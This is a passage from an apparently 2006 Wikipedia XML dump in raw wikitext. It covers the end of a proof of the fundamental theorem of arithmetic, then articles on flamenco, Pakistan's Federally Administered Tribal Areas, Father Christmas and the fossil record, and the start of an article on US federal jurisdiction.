and 0 &lt; ''r'' &lt; ''p''&lt;sub&gt;1&lt;/sub&gt; &lt; ''q''&lt;sub&gt;1&lt;/sub&gt; (''r'' can't be 0, as that would make ''q''&lt;sub&gt;1&lt;/sub&gt; a multiple of ''p''&lt;sub&gt;1&lt;/sub&gt; and not prime). We now get 

:''p''&lt;sub&gt;2&lt;/sub&gt; ... ''p''&lt;sub&gt;''m''&lt;/sub&gt; = (''d'' + ''r''/''p''&lt;sub&gt;1&lt;/sub&gt;) ''q''&lt;sub&gt;2&lt;/sub&gt; ... ''q''&lt;sub&gt;''n''&lt;/sub&gt; = ''dq''&lt;sub&gt;2&lt;/sub&gt; ... ''q''&lt;sub&gt;''n''&lt;/sub&gt; + ''rq''&lt;sub&gt;2&lt;/sub&gt; ... ''q''&lt;sub&gt;''n''&lt;/sub&gt;/''p''&lt;sub&gt;1&lt;/sub&gt;.

The second [[term]] in the last [[Expression (mathematics)|expression]] must be equal to an integer we call ''k'', i.e. 

:''k'' = ''rq''&lt;sub&gt;2&lt;/sub&gt; ... ''q''&lt;sub&gt;''n''&lt;/sub&gt;/''p''&lt;sub&gt;1&lt;/sub&gt;.

This gives us 

:''p''&lt;sub&gt;1&lt;/sub&gt;''k'' = ''rq''&lt;sub&gt;2&lt;/sub&gt; ... ''q''&lt;sub&gt;''n''&lt;/sub&gt;.

The value of both sides of this equation is obviously smaller than ''s'', but is still large enough to be factorizable. Since ''r'' is smaller than ''p''&lt;sub&gt;1&lt;/sub&gt;, the two prime factorizations we get on each side after both ''k'' and ''r'' are written out as their product of primes must be different. This is in [[contradiction]] with ''s'' being the smallest integer factorizable in more than one way. Thus the original assumption must be false.

A third proof proceeds through [[abstract algebra]].  First one proves the existence of a [[composition series]] for the group '''Z'''/(''a'') and shows that all of the its terms have the form '''Z'''/(''p'') for some prime number ''p''.  Since the order of '''Z'''/(''a'') is equal to the product of the orders of the factors in the composition series, this gives a factorization of ''a'' into prime numbers.  Then one establishes the [[Jordan-Hölder theorem]].  This guarantees the uniqueness of the composition series, and hence the uniqueness of the prime factorization.  This is the approach used by [[Nicolas Bourbaki]]'s ''Algebra''.

==References==

==Bibliography==

* Baker, Alan, ''A Concise Introduction to the Theory of Numbers'', Cambridge University Press, Cambridge, UK, 1984).  ISBN 0521286549.

==See also== 

* [[Fundamental theorem of algebra]]
* [[Integer factorization]]
* [[Prime factorization algorithm]]
* [[Prime signature]]

==External links==

* [http://www.cut-the-knot.org/blue/gcd_fta.shtml GCD and the Fundamental Theorem of Arithmetic] at [[cut-the-knot]]
* [http://planetmath.org/encyclopedia/ProofOfFundamentalTheoremOfArithmetic.html PlanetMath: Proof of fundamental theorem of arithmetic]
* [http://fermatslasttheorem.blogspot.com/2005/06/unique-factorization.html Fermat's Last Theorem Blog: Unique Factorization], A blog that covers the history of Fermat's Last Theorem from Diophantus of Alexandria to the proof by Andrew Wiles.

[[Category:Number theory]]
[[Category:Mathematical theorems]]

[[bg:Основна теорема на аритметиката]]
[[ca:Teorema fonamental de l'aritmètica]]
[[da:Aritmetikkens fundamentalsætning]]
[[de:Fundamentalsatz der Arithmetik]]
[[es:Teorema fundamental de la Aritmética]]
[[fa:قضیه اساسی حساب]]
[[fr:Théorème fondamental de l'arithmétique]]
[[ko:정수론의 기본 정리]]
[[it:Teorema fondamentale dell'aritmetica]]
[[he:המשפט היסודי של האריתמטיקה]]
[[hu:A számelmélet alaptétele]]
[[nl:Hoofdstelling van de rekenkunde]]
[[pl:Podstawowe twierdzenie arytmetyki]]
[[ru:Основная теорема арифметики]]
[[sl:Osnovni izrek aritmetike]]
[[th:ทฤษฎีบทมูลฐานของเลขคณิต]]
[[tr:Aritmetiğin Temel Teoremi]]
[[zh:算术基本定理]]</text>
    </revision>
  </page>
  <page>
    <title>Flamenco</title>
    <id>11558</id>
    <revision>
      <id>41548712</id>
      <timestamp>2006-02-28T02:10:54Z</timestamp>
      <contributor>
        <username>Machanghe</username>
        <id>998002</id>
      </contributor>
      <text xml:space="preserve">{{genrebox|name=Flamenco
|color=darkgreen
|bgcolor=white
|stylistic_origins=[[Spain|Spanish]], [[Gitano]], [[Arab]], [[Jewish]] folk music
|cultural_origins=[[Granada]], [[Málaga]], [[Cádiz]], [[Jérez de la Frontera]], [[Cordoba, Spain|Cordoba]] and [[Sevilla]]
|instruments=[[Guitar]], [[clapping|hand clapping]], [[cajón]]
|popularity=Sporadic except among Gitanos, mostly popular in Spain and France
|derivatives=
|subgenrelist=List of Flamenco genres
|subgenres=[[Alegrías]] - [[Bulerias]] - [[Tangos]] - [[Fandangos]] - [[Farruca]] - [[Guajiras]] - [[Peteneras]] - [[Sevillana]] - [[Siguiriyas]] - [[Soleares]] - [[Tiento]]s - [[Zambra]] - and many others, see the palos list below.
|fusiongenres=[[New Flamenco]]
|regional_scenes=
|other_topics=[[Music of Spain]]&lt;br&gt;[[Cante Chico]] - [[Cante Jondo]] - [[Cante Intermedio]] - [[Falseta]]
}}
[[Image:Belen maya.jpg|thumbnail|left|200px|'''Flamenco dancer Belén Maya''', photograph taken by [[Gilles Larrain]] at his studio, 2001]] '''Flamenco''' is a [[song]], [[Flamenco music|music]] and [[List of dances|dance]] style which is strongly influenced by the [[Gitanos]], but which has its deeper roots in [[Moorish]] and [[Jewish]] musical traditions.
Flamenco culture originated in [[Andalusia]] ([[Spain]]), but has since become one of ''the'' icons of [[Spanish music]] and even [[Spanish culture]] in general.

According to [[Blas Infante]] in his story &quot;Orígenes de lo flamenco y secreto del cante jondo&quot;, [[Etymology|etymologically]], the word ''Flamenco'' comes from  Hispano-[[Arabic language|Arabic]] ''fellah mengu'', &quot;Peasant without Land&quot;. This hypothesis has no basis in historical documents, but Infante connects it to the huge amount of Ethnic Andalusians who decided to stay and mix with the Gypsy newcomers instead abandoning their lands because of their religious beliefs ([[Morisco|Moriscos]]). After the Castilian conquest of Andalusia, the [[Reconquista]], most of the land was expropiated and given to warlords and mercenaries who had helped the Castilian kings enterprise against [[Al-Andalus]]. When the Castilians later ordered the expulsion or forceful conversion of the Andalusian Moriscos, they took refuge among the Gypsies, becoming fellahmengu in order to avoid death, persecution, or forced deportation. Posing as Gypsies they managed to return to their cultural practices and ceremonies including the singing.

Other hypotheses concerning the term's etymology include connections with [[Flanders]], the ''flameante'' (arduous) execution by the performers, or the [[flamingo]]s.

Originally, flamenco consisted of unaccompanied [[singing]] (''cante''). Later the songs were [[accompaniment|accompanied]] by [[Classical guitar|flamenco guitar]] (''toque''), rhythmic [[clapping|hand clapping]] ('' palmas''), rhythmic feet stomping (''[[zapateado]]'') and [[dance]] (''baile''). The toque and baile are also often found without the cante, although the song remains at the heart of the flamenco tradition. More recently other instruments like the [[cajón]] (a wooden box used as a percussion instrument) and [[castanets]] (''castañuelas'') have been introduced.

&quot;Nuevo Flamenco&quot;, or [[New Flamenco]], is a recent variant of Flamenco which has been influenced by modern [[musical genres]], like [[rumba]], [[Salsa music|salsa]], [[Pop music|pop]], [[Rock and roll|rock]] and [[jazz]].


==Flamenco history==
[[Image:Flamenco 001.jpg|thumbnail|left|250px|Flamenco performance by the [[La Primavera]] group]]
Many of the details of the development of flamenco are lost in [[History of Spain|Spanish history]]. There are several reasons for this lack of historical evidence:
* The turbulent times of the people involved in flamenco culture. The Moors, the Gitanos and the [[Jew]]s were all [[persecution|persecuted]] and [[expulsion|expelled]] by the [[Spanish Inquisition]] at various points in time as part of the [[Reconquista]].
* The Gitanos mainly had an [[oral culture]]. Their [[Folk music|folk songs]] were passed on to new generations by repeated performances in their social community.
* Flamenco was for a long time not really considered an [[art]] form worth writing about according to Spaniards. Flamenco music has also slipped in and out of fashion several times during its existence. 

[[Granada]], the last [[Muslim]] stronghold, fell in [[1492]] when the [[army|armies]] of the [[Catholic]] [[Monarch|king]] [[Ferdinand II of Aragon]] and queen [[Isabella of Castile]] reconquered this city after about 800 years of mainly Moorish rule. The [[Treaty of Granada]] was created to have a formal base for upholding [[religious tolerance]], and this paved the way for the Moors to [[Surrender (military)|surrender]] peacefully. For a few years there was a tense calm in and around Granada, however the inquisition did not like the religious tolerance towards Muslims and Jews. Therefore the inquisition used [[religious]] arguments to convince Ferdinand and Isabella to break the [[treaty]] and force the Moors and Jews to become Christians or leave Spain for good. In [[1499]], about 50,000 Moors were coerced into taking part in a mass [[Baptism]]. During the [[rebellion|uprising]] that followed, people who refused the choices of Baptism or [[deportation]] to [[Africa]], were systematically eliminated. What followed was a mass exodus of Moors, Jews and Gitanos from Granada city and the villages to the [[mountain]] regions (and their hills) and the [[rural]] country.

It was in this socially and economically difficult situation that the musical cultures of the Moors, Jews and Gitanos started to form the basics of flamenco music: a Moorish singing style expressing their hard life in Andalusia, the different ''compas'' (rhythm styles), rhythmic hand clapping and basic dance movements, see [[Andalusian cadence]]. Many of the songs in flamenco still reflect the spirit of desperation, struggle, hope, and pride of the people during this time. Flamenco singers are specifically renowned for their somewhat harsh and natural vocal quality. This style is meant to evoke the nature of suffering so closely related to the origins of the music. Much later other local traditional Spanish musical traditions would also influence, and be influenced by, the traditional flamenco styles.

The first time flamenco is mentioned in [[literature]] is in [[1774]] in the book [[Cartas Marruecas]] by [[José Cadalso]]. The origin of the name ''flamenco'' however, is a much-debated topic. Some people believe it is a word of Spanish origin and originally meant ''[[Flemish]]'' (''Flamende''). However, there are several other theories. One theory suggest an Arabic origin taken from the words ''felag mengu'' (meaning: 'peasant in flight' or 'fugitive peasant').

During the so-called golden age of flamenco, between [[1869]]-[[1910]], flamenco music developed rapidly in music cafés called ''cafés cantantes''. Flamenco dancers also became one of the major attractions for the public of those cafés. The art of Flamenco dance was immediately defined in the contrast between male and female styles. Males typically focus more on complex foot movements partnered with relatively little upper-body movement. The female style on the other hand incorporates graceful and distinctly feminine, hip, hand, and arm movements. Along with the development of Flamenco dance, guitar players supporting the dancers increasingly gained a [[reputation]], and so flamenco guitar as an art form by itself was born. [[Julián Arcas]] was one of the first [[composer]]s to write flamenco music especially for the guitar.

The flamenco guitar (and the very similar [[classical guitar]]) is a descendent from the [[lute]]. The first guitars are thought to have originated in Spain in the [[15th century]]. The traditional flamenco guitar is made of Spanish [[Mediterranean Cypress|cypress]] and [[spruce]], and is lighter in weight and a bit smaller than a classical guitar, to give the output a 'sharper' sound. The flamenco guitar, in contrast to the classical, is also equipped with a barrier (often plastic) similar to a pick guard enabling the guitarists to incorporate rythmic tapping of the fingers while they play. The flamenco guitar is also utilized in several different ways from the classical guitar, including individual strumming patterns and styles, as well as the use of a capo in many circumstances.

In [[1922]], one of Spain's greatest [[writer]]s, [[Federico García Lorca]] and renowned composer [[Manuel de Falla]] organised the [[Fiesta del Cante Jondo]], a folk music festival dedicated to ''cante jondo'' (&quot;deep song&quot;). They did this to stimulate interest in this, by that time unfashionable, flamenco music style. Two of Lorca's most important [[poetry|poetic]] works, [[Poema del Cante Jondo]] and [[Romancero Gitano]], show Lorca's fascination with flamenco.


==Flamenco styles==
Flamenco music styles are called '''palos''' in Spanish. There are over 50 different styles of flamenco.
A palo can be defined as the basic rhythmic pattern of a flamenco style, but also covers the whole musical and cultural context of a particular flamenco style.

The rhythmic patterns of the palos are also often called ''compás''.
A ''compás'' is characterised by a recurring pattern of beats and accents.
These recurring patterns make up a number of different rhythmic and musical forms known as ''toques''.

To really understand the different palos it is also important to understand their musical and cultural context:
*The mood intention of the palo (dancing - Fandango, consolation - Solea, fun - Buleria, etc.).
*The set of typical melodic phrases, called ''[[falseta]]'s'', which are often used in performances of a certain palo.
*The relation to similar palos.
*Cultural traditions associated with a palo (men's dance - Farruca)

The most fundamental palos are: Toná, Soleá, Fandango and Seguiriya. These four palos all belong in the ''cante jondo'' category and form the rhythmic basis for nearly all the other palos.

Flamenco ''cante'' consists of  a number of traditional (and not-so-traditional) forms, with characteristic [[rhythm|rhythmic]] and [[harmony|harmonic]] structures. The rhythm (''compas'') is perhaps the most fundamental distinguishing feature of the different flamenco forms. The ''cante jondo'', called the mother of flamenco, consists of 12 beats, with accents on the 3rd, 6th, 8th, 10th, and 12th beats. Songs are composed of several falseta's with rhythms defined by the song form.

Some of the forms are sung unaccompanied, while others usually have a guitar and sometimes other accompaniment. Some forms are danced while others traditionally are not.  Amongst both the songs and the dances, some are traditionally the preserve of men and others of women, while still others would be performed by either sex.  Many of these traditional distinctions are now breaking down; for example the ''Farruca'' is traditionally a man's dance, but is now commonly performed by women too.

The classification of flamenco forms is not entirely uncontentious, but a common and convenient first classification is into three groups.  The deepest, most serious forms are known as ''cante jondo'' (or ''cante grande''), while relatively light, frivolous forms are called ''cante chico''. Forms which do not fit into either category but lie somewhere between them are classified as ''cante intermedio''. Many flamenco artists, including some considered to be amongst the greatest, have specialised in a single flamenco form.

&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;&gt;
&lt;tr&gt;&lt;th colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;lightblue&quot;&gt;Cantes of Flamenco&lt;/th&gt;&lt;/tr&gt;
&lt;tr bgcolor=&quot;lightblue&quot; align=&quot;center&quot;&gt;&lt;td&gt;'''Cante Jondo'''&lt;/td&gt;&lt;td&gt;'''Cante Intermedio'''&lt;/td&gt;&lt;td&gt;'''Cante Chico'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;[[Siguiriyas]]&lt;/td&gt;&lt;td&gt;[[Bulerias]]&lt;/td&gt;&lt;td&gt;[[Alegrías]]&lt;/td&gt;&lt;/tr&gt;

&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;[[Soleares]]&lt;/td&gt;&lt;td&gt;[[Tangos (flamenco)|Tangos]]&lt;/td&gt;&lt;td&gt;[[Fandango (dance)|Fandangos]]&lt;/td&gt;&lt;tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;[[Tientos]]&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;[[Farruca]]&lt;/td&gt;&lt;tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;[[Peteneras]]&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;[[Guajira]]s&lt;/td&gt;&lt;tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;[[Sevillana]]&lt;/td&gt;&lt;tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;[[Verdiales]]&lt;/td&gt;&lt;tr&gt;
&lt;/table&gt;

===Palos===

====Toná Palos====
*Debla
*Martinete
*Saeta
*Tonás

====Soleá Palos====
*Alboreá
*[[Alegrías]]
*Bamberas
*[[Bulerías]] - [[media:Bulerias31.ogg|Bulerias]] ''([[Luis Maravilla]]. 31 seconds,133Kb)''
*Campanilleros
*Caña
*Cantiñas
*Caracoles
*Carceleras
*Cartagenera
*Colombianas
*Mariana
*Mirabrás
*Nanas
*Peteneras
*Polo
*Romance
*Romera
*Rondeña
*Sevillanas
*[[Soleares|Soleá]] - [[media:Soleares30.ogg|Soleares]] ''([[Juan Serrano]]. 30 seconds,118Kb)''
*Trillera
*Vidalita
*Zambras
*Zorongo 

====Fandango Palos====
*[[Fandango (dance)|Fandango]]
**Verdiales -  fandango variation from [[Málaga]]
**Jaleos - fandango variation based on the Andalusian scale. Rythmic predecessor of the bulería and of the soleá.
*Fandanguillos
*[[Farruca]] - [[media:Farruca35.ogg|Farruca]] ''([[Sabicas]]. 35 seconds,147Kb)''
*Garrotín
*Granaína
*Guajiras - [[media:Guajiras35.ogg|Guajiras]] ''([[Sabicas]]. 35 seconds,158Kb)''
*Jabera
*Malagueñas
*Media
*Media Granaína
*[[Milonga]]
*Mineras
*[[Rumba]]
*[[Tangos (flamenco)|Tango]]
**Tanguillos - from [[Cádiz]]
*Tarantas
*Tarantos
*Tientos

====Seguiriya Palos====
*Cabales
*Livianas
*Seguiriyas - (siguerillas, siguiriyas) [[media:Siguiriyas30.ogg|Siguiriyas]] ''([[Carlos Montoya]]. 30 seconds,135Kb)''
*Serranas

==Flamenco artists==

Flamenco occurs in two types of settings. The first, the ''Juerga'' is an informal gathering where people are free to join in creating music. This can include dancing, singing, violin, ''Palmas'' (hand clapping), or simply pounding in rhythm on an old orange crate. Flamenco, in this context, is very dynamic; It adapts to the local talent, instrumentation, and mood of the audience. One tradition remains firmly in place: Singers are the most important part.

The professional concert is more formal and organized. The most common performance usually has only one or more instruments (guitar is almost always at the center). Dancers are the next addition, followed by singers.

It is rare to find an artist who has mastered performing in both settings at the same level.

An overview of the various flamenco artists can be found in the following categories:

*[[:Category: Flamenco singers]]
*[[:Category: Flamenco guitarists]]
*[[:Category: Flamenco dancers]]
*[[:Category: Flamenco bands]]

==See also==
*[[Golden age of Jewish culture in Spain]]
*[[La Convivencia]]

==External links==
*[http://www.classicalguitarmagazine.com/ Classical Guitar Magazine] The world's only monthly magazine dedicated to the classical guitar
*[http://www.CamarondelaIsla.org Camaron dela Isla - Singer]
*[http://www.esflamenco.com All things Flamenco - Spain]
*[http://cgm.cs.mcgill.ca/~godfried/publications/winfield.pdf Scientific Flamenco palos study] - [[Phylogenetics|Phylogenetic]] study of some palos
*[http://www.mozaicoflamenco.com Mozaico Flamenco - Canadian Dance Training]
*[http://www.filmview.com/terremoto/modules.php?op=modload&amp;name=gallery&amp;file=index Terremoto Flamenco Artists Image Gallery]
*[http://www.flamencoschool.nl The Dutch Flamenco School]
*[http://www.travel-impressions.de/andalucia/flamenco/claping_flamenco.htm Flamenco Photographer] 
*[http://flickr.com/groups/41245539@N00 Flamenco Photo Group on Flickr]
*[http://www.flamenco-seiten.de Addresses of Flamenco teachers, groups and institutions] 
*[http://www.afana.org/flamenco.htm An Introduction to Flamenco Music]
*[http://www.forward.com/issues/2003/03.11.21/arts4.html Aaiieee! Uncovering the Jewish Roots of Flamenco]
*[http://www.oscarnieto.com History of flamenco - Oscar Nieto - Teacher/Dancer/Choreographer]
*[http://www.condehermanos.com Conde Hermanos]
*[http://www.flamenco.ca/ All Things Flamenco - Canada]
*[http://www.sadlerswells.com/whats_on/2005_2006/ff06.asp Flamenco Festival London 2006]
[[Category:Flamenco]] 
[[Category:Spanish music]]
[[Category:European folk dances]]

[[cs:Flamenco]]
[[da:Flamenco]]
[[de:Flamenco]]
[[es:Flamenco (música)]]
[[eo:Flamenko]]
[[fr:Flamenco]]
[[it:Flamenco]]
[[nl:Flamenco]]
[[pl:Flamenco]]
[[pt:Flamenco]]
[[ru:Фламенко]]
[[simple:Flamenco]]
[[fi:Flamenco]]
[[sv:Flamenco]]</text>
    </revision>
  </page>
  <page>
    <title>Federally Administered Tribal Areas, Pakistan</title>
    <id>11560</id>
    <revision>
      <id>41209098</id>
      <timestamp>2006-02-25T20:21:12Z</timestamp>
      <contributor>
        <username>Siddiqui</username>
        <id>308269</id>
      </contributor>
      <comment>/* Introduction */</comment>
      <text xml:space="preserve">{{Pakistan infobox|
region = Federally Administered Tribal Areas | 
flag = Flag of Pakistan.svg | 
map = PakistanTribal.png | 
capital = [[Peshawar]] | 
latd = 34.00 | 
longd = 71.32 | 
pop_year = 2003 | 
population = 3,138,000 | 
density = 115.3| 
area = 27,220 | 
languages = [[Pashto language|Pashto]] &lt;br&gt; [[Persian language|Persian]] | 
status = Tribal Areas | 
districts = 7 Agencies | 
towns = | 
unions = | 
established = 1st July 1970| 
governor = Khalid-ur-Rehman | 
minister = None | 
legislature = None |
seats = N.A. | 
website = www.nwfp.gov.pk | 
website_title = Gov't of NWFP |
footnotes = | 
}}

The '''Federally Administered Tribal Areas''' ('''FATA''') are areas of [[Pakistan]] outside the four provinces, comprising a region of some 27,220 [[square kilometre|km&amp;sup2;]] (10,507 [[square mile|mi&amp;sup2;]]).

== Introduction ==
The FATA are bordered by: [[Afghanistan]] to the west with the border marked by the [[Durand Line]], the [[North-West Frontier Province, Pakistan|North-West Frontier Province]] and the [[Punjab (Pakistan)|Punjab]] to the east, and [[Balochistan (Pakistan)|Balochistan]] to the south. 

The total population of the FATA was estimated in [[2003]] to be about 3,138,000 people, or roughly 2% of Pakistan's population. Only 2.7% of the population of the Tribal Areas resides in established towns.

The Tribal Areas comprise seven Agencies: [[Khyber agency|Khyber]], [[Kurram Agency|Kurram]], [[Bajaur]], [[Mohmand Agency|Mohmand]], [[Orakzai]], and North and South [[Waziristan]]. The main towns include [[Miran Shah]], [[Razmak]], [[Bajaur]], and [[Wana]].

== Political and social environment ==
The region is only nominally controlled by the central government of Pakistan. The mainly [[Pashtun]] tribes that inhabit the areas are fiercely independent, but until friction following the fall of the [[Taliban]] in neighboring Afghanistan the tribes had mostly had friendly relations with Pakistan's central government. 

After negotiating with tribal '''[[maliks]]''', regular Pakistani [[Pakistan Army|army troops]] entered the tribal areas for the first time in Pakistani history - [[as of 2004]], there are about 70,000 troops there. With foreign financial assistance, Pakistan has been involved in improving local infrastructure including the building of roads in the tribal areas. It is believed by some that [[Osama bin Laden]] is hiding with some sympathetic tribes in the FATA, but the validity of these claims remains unknown. Due to the capture of various [[Taliban]] leaders, many believe that various officials have sought refuge in the FATA and that possibly [[al-Qaeda]] fighters have also established a presence in the region following the collapse of the Taliban in Afghanistan. Pakistani troops and U.S. forces have carried out &quot;coordinated operations&quot; in the border region{{ref|operations}}} that has further antagonized some local tribes. In 2004, Army attacks on local militant groups resulted in civilian casualties, fuelling an insurgency by some Waziri tribal groups{{ref|insurgency}}. However, some local tribal leaders in the Waziristan area have rejected attempts to politically exploit the casualties{{ref|casualties}}.

== Economy ==
Due to the FATA's tribal organization, the economy is chiefly pastoral, with some agriculture practiced in the region's few fertile valleys. Historically, the region has been a major center for [[opium]] production and trafficking. Although attempts have been made to significantly suppress drug-related activity by the Pakistani government, opium smuggling from Afghanistan continues to be a problem.

== See also ==
* [[List of capitals of subnational entities]]
* [[Politics of Pakistan]]
* [[North-West Frontier Province, Pakistan|North-West Frontier Province]]
* [[Waziristan War]]

== References ==
* {{note|operations}} [http://news.bbc.co.uk/2/hi/south_asia/3738888.stm BBC article on US operations]
* {{note|insurgency}} [http://news.bbc.co.uk/1/hi/world/south_asia/3645114.stm BBC article on the tribal insurgency]
* {{note|casualties}} [http://www.dailytimes.com.pk/default.asp?page=story_10-4-2004_pg7_32 Daily Times article]

{{Territorial_Capitals_in_Pakistan}}

[[Category:Subdivisions of Pakistan]]

[[de:Stammesgebiete unter Bundesverwaltung]]</text>
    </revision>
  </page>
  <page>
    <title>Father Christmas</title>
    <id>11561</id>
    <revision>
      <id>35260688</id>
      <timestamp>2006-01-15T11:21:59Z</timestamp>
      <contributor>
        <ip>195.92.168.167</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Jolly-old-saint-nick.gif|right|200px]]

'''Father Christmas''' is a name used in the [[United Kingdom]], [[Australia]], [[New Zealand]] and several other [[Commonwealth]] Countries, as well as Ireland, for the gift bringing figure of [[Christmas]] or [[yuletide]]. Although Father Christmas,  [[Saint Nicholas]] and [[Santa Claus]] (the latter deriving from the [[Dutch language|Dutch]] for [[Saint Nicholas]]: ''Sinterklaas''), are now used interchangeably, the origins of Father Christmas are quite different.

Dating back to Norse mythology, Father Christmas has his roots in Paganism. Before Christianity came to British shores, it was customary for an elder man from the community to dress in furs and visit each dwelling {{Fact}}. At each house, in the guise of &quot;Old Winter&quot; he would be plied with food and drink before moving on to the next. It was thought he carried the spirit of the winter with him, and that the winter would be kind to anyone hospitable to Old Winter. The custom was still kept in [[Medieval England]], and after a decline during the Commonwealth, became widespread again during the Restoration period. Father Christmas was also a significant character in Christmas [[mummers' play]]s.

A book dating from the time of the Commonwealth, 
[http://www.imagesonline.bl.uk/britishlibrary/controller/subjectidsearch?id=11675&amp;startid=32953&amp;width=4&amp;height=2&amp;idx=2 ''The Vindication of CHRISTMAS or, His Twelve Yeares' Observations upon the Times''] involved Father Christmas advocating a merry, alcoholic Christmas and casting aspersions on the charitable motives of the ruling [[Puritans]].

He was neither a gift bringer, nor was he associated with children. During the Victorian era, when Santa Claus arrived from America he was merged with &quot;Old Winter&quot;, &quot;Old Christmas&quot; or &quot;Old Father Christmas&quot; to create Father Christmas, the British Santa which survives today.

The Ghost of Christmas Present in [[Charles Dickens]]' ''[[A Christmas Carol]]'' is based on Father Christmas.

==References==
*[http://books.google.com/books?ie=UTF-8&amp;hl=en&amp;id=-2t-7Dn6oGYC&amp;dq=%22father+christmas%22+pagan&amp;prev=http://books.google.com/books%3Fq%3D%2522father%2Bchristmas%2522%2Bpagan&amp;lpg=PA207&amp;pg=PA207 Google Book, excerpt from &quot;&quot;The Life Story of Father Christmas&quot;&quot;] The English Illustrated Magazine, October 1905
*&quot;Father Christmas&quot; is also a song recorded by the rock band [[The Kinks]] about Father Christmas.

== See also ==
* [[Christmas]]
* [[Saint Nicholas]]
* [[Santa Claus]]
* [[Christmas customs in Germany]]
* [[Christmas worldwide]]

== External links ==
 
[[Category:Superstitions]]
[[Category:Christmas characters]]</text>
    </revision>
  </page>
  <page>
    <title>Fossil record</title>
    <id>11562</id>
    <revision>
      <id>32386767</id>
      <timestamp>2005-12-22T18:45:20Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <comment>artifacts -&gt; objects</comment>
      <text xml:space="preserve">Ever since recorded [[history]] began, and probably before, people have found pieces of [[Rock (geology)|rock]] and other hard material with indentations from the remains of dead organisms. These are called [[fossil]]s, and the totality of these objects and their placement in rock formations is referred to as the '''fossil record'''.

The fossil record is one of the primary sources of data relevant to the study of [[evolution]]. Scientists examine fossils in order to understand the process of evolution and the way particular [[species]] have evolved.

[[William Smith (geologist)|William Smith (1769-1839)]], an English canal engineer, observed that rocks of different ages (based on the [[law of superposition]]) preserved different assemblages of fossils, and that these assemblages succeeded one another in a regular and determinable order. He observed that rocks from distant locations could be correlated based on the fossils they contained. He termed this the principle of faunal succession. 

Smith, who preceded [[Charles Darwin]], was unaware of biological evolution and did not know why faunal succession occurred. Biological evolution explains why faunal succession exists: as different organisms evolve, change and go extinct, they leave behind fossils. Faunal succession was one of the chief pieces of evidence cited by Darwin that biological evolution had occurred.

The fossil record and faunal succession form the basis of the science of [[biostratigraphy]] or determining the age of rocks based on the fossils they contain. For the first 150 years of geology, biostratigraphy and superposition were the only means for determining the relative age of rocks.

Some observers are perplexed by the rarity of [[Transitional fossil|transitional species]].  The conventional explanation for this rarity was given by [[Charles Darwin|Darwin]], who stated that &quot;the extreme imperfection of the geological record,&quot; combined with the short duration and narrow geographical range of transitional species, made it unlikely that many such fossils would be found. Simply put, the conditions under which fossilization takes place are quite rare; and it is highly unlikely that any given organism will leave behind a fossil. [[Stephen J. Gould]] developed his theory of [[punctuated equilibrium]] in part to explain the pattern of stasis and sudden appearance in the fossil record.

Since the latter half of the twentieth century, absolute dating methods, such as [[radiometric dating]] (including [[potassium-argon dating|potassium/argon]], [[argon-argon dating|argon/argon]], [[uranium-lead dating|uranium series]], and [[carbon-14 dating]] which works only for the very recent past, the last 50,000 years before the present), show that the earliest known fossils are over 3.5 billion years old. Various dating methods have been used and are used today depending on local geology and context, and while there is some variance in the results from these [[dating methods]], nearly all of them provide evidence for a very old Earth, approximately 4.6 billion years. (See [[geologic time scale]]).

[[Category:Paleontology]]</text>
    </revision>
  </page>
  <page>
    <title>Federal jurisdiction</title>
    <id>11563</id>
    <revision>
      <id>15909304</id>
      <timestamp>2004-12-21T07:28:05Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <text xml:space="preserve">Key concepts in general [[federal law]] in the USA (other countries using a federal system differ), at all [[court]] levels, include [[standing (law)|standing]] and the Case or [[Controversy]] Requirement. These apply as strongly to constitutional cases as to any others, and often a seemingly [[civil rights|&quot;civil rights&quot;]] related issue is rejected by the courts for these reasons. They flow from Article III, Section 2 of the [[United States Constitution]]. Standing means that a person raising a constitutional issue must be someone who, if his or her assertion is correct, will personally suffer an infringement of his or her [[right]]s if the court does not intervene. This means that, except in unusual circumstances (see [[class action]]), one cannot sue on behalf of another. The Case or Controversy requirement means that there must be at least two adversarial parties and an actual
problem between them. The effect is that federal courts in the United States do not issue [[advisory opinions|advisory opinions]] or rule on hypotheticals. (But see: [[Declaratory judgment]]). 

To these two concepts, [[constitutional law]] adds the [[state action]] requirement. Simply put, a private [[citizen]] cannot violate another private citizen's [[constitutional right]]s. A case does not become a constitutional issue unless one party can show that a local, state, or federal government agency or official was involved. For example, if a private citizen invades another citizen's house, the first citizen is liable to the second one in a lawsuit for [[trespass]]; on the other hand, if a policeman invades a citizen's home without a [[Warrant (legal)|warrant]] or [[probable cause]], the police agency can be found liable for violating the citizen's constitutional rights.

The first example is merely a violation of the legal right to privacy; the second is a violation of the constitution's prohibition on unreasonable searches and seizures. (Note here: Some cases which the [[Supreme Court of the United States]] accepts and decides involve constitutional rights; others involve the interpretation of legal rights.) 

Generally, when a case has cleared the hurdles of Standing, Case or Controversy and State Action, it will be heard by a [[trial court]]. The non-governmental party may raise claims or defenses relating to alleged constitutional violations by the government.  If the non-governmental party loses, the constitutional issue may form part of the [[appeal]]. Eventually, a petition for [[certiorari]]
